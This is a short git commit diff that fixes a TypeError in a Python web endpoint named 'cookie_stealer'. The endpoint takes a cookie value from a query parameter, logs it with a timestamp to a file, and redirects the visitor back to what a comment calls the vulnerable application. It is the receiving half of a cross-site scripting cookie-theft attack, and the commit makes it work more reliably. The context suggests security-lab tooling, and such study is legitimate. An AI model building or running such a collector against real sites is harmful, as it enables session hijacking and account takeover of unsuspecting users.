Fix TypeError issue in cookie_stealer

This commit is contained in:
Dmitriy Stoyanov 2022-02-13 21:39:47 +00:00 committed by GitHub
parent 5d9ab08bb9
commit c21cd4878f

View File

@ -19,7 +19,7 @@ def cookie():
cookie = request.args.get('c') cookie = request.args.get('c')
f = open("cookies.txt","a") f = open("cookies.txt","a")
f.write(cookie + ' ' + str(datetime.now()) + '\n') f.write(str(cookie) + ' ' + str(datetime.now()) + '\n')
f.close() f.close()
# redirecting the user back to the vulnerable application # redirecting the user back to the vulnerable application